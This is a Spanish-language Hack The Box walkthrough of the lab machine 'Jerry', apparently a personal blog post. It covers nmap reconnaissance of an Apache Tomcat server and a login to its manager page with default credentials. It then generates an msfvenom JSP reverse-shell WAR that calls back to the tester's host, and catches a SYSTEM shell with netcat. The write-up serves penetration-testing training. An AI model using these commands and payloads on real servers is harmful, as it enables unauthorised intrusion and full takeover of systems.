Post

Hack The Box Jerry

Jerry

Se procede con la fase de reconocimiento lanzando primeramente un ping a la dirección IP 10.10.10.95.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.95
PING 10.10.10.95 (10.10.10.95) 56(84) bytes of data.
64 bytes from 10.10.10.95: icmp_seq=1 ttl=127 time=138 ms

--- 10.10.10.95 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 137.931/137.931/137.931/0.000 ms

De acuerdo con el TTL de traza ICMP, se puede determinar que se trata de una máquina con sistema operativo Windows. A continuación se procede con la ejecución de nmap para determinar los puertos abiertos de la máquina y exportanto la información al archivo allPorts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.95 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-13 21:14 CST
Initiating SYN Stealth Scan at 21:14
Scanning 10.10.10.95 [65535 ports]
Discovered open port 8080/tcp on 10.10.10.95
Completed SYN Stealth Scan at 21:15, 26.50s elapsed (65535 total ports)
Nmap scan report for 10.10.10.95
Host is up, received user-set (0.14s latency).
Scanned at 2022-03-13 21:14:52 CST for 27s
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE    REASON
8080/tcp open  http-proxy syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.58 seconds
           Raw packets sent: 131088 (5.768MB) | Rcvd: 19 (836B)

Mediante la función extractPorts definida a nivel de zsh , se obtiene la información más relevante de la captura grepeable.

1
2
3
4
5
6
7
8
9
10
11
12
❯ extractPorts allPorts
───────┬─────────────────────────────────────
       │ File: extractPorts.tmp
       │ Size: 115 B
───────┼─────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.95
   5   │     [*] Open ports: 8080
   6   │ 
   7   │ [*] Ports copied to clipboard

A continuación se lanza una serie de scripts para determinar el servicio y versión que corren para los puertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ nmap -sCV -p8080 10.10.10.95 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-13 21:16 CST
Nmap scan report for 10.10.10.95
Host is up (0.14s latency).

PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/7.0.88
|_http-server-header: Apache-Coyote/1.1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.72 seconds

Vemos que se encuentra abierto el puerto 8080 y como siempre, antes de visualizar el contenido vía web, vamos a utilizar la herramienta whatweb para ver a lo que nos enfrentamos.

1
2
❯ whatweb http://10.10.10.95:8080
http://10.10.10.95:8080 [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache-Coyote/1.1], IP[10.10.10.95], Title[Apache Tomcat/7.0.88]

Vemos que nos enfrentamos antes un Apache Tomcat, lo cual lo validamos vía web.

""

Vamos a ver si se puede acceder al recurso /manager/html y hacer uso de las credenciales por defect tomcat : s3cret:

""

""

Ya nos encontramos dentro del Gestor de Aplicaciones Web de Tomcat, por lo tanto, ya debemos estar pensando en generar un archivo de extensión war para subirlo y obtener acceso al sistema.

1
2
3
4
5
6
7
❯ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.27 LPORT=443 -f war > shell.war
Payload size: 1103 bytes
Final size of war file: 1103 bytes

❯ ll
.rw-r--r-- root root 1.1 KB Tue Mar 15 01:41:14 2022  shell.war
❯ cp shell.war /home/k4miyo/Descargas/Firefox/.

Subimos nuestro archivo al servidor:

""

Nos ponemos en escucha por el puerto 443 y ahora seleccionamos nuestro archivo.

""

1
2
3
4
5
6
7
8
9
10
11
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.95] 49192
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\apache-tomcat-7.0.88>whoami
whoami
nt authority\system

C:\apache-tomcat-7.0.88>

Ya hemos ingresado a la máquina como nt authority\system y podemos visualizar las flags (user.txt y root.txt).

This post is licensed under CC BY 4.0 by the author.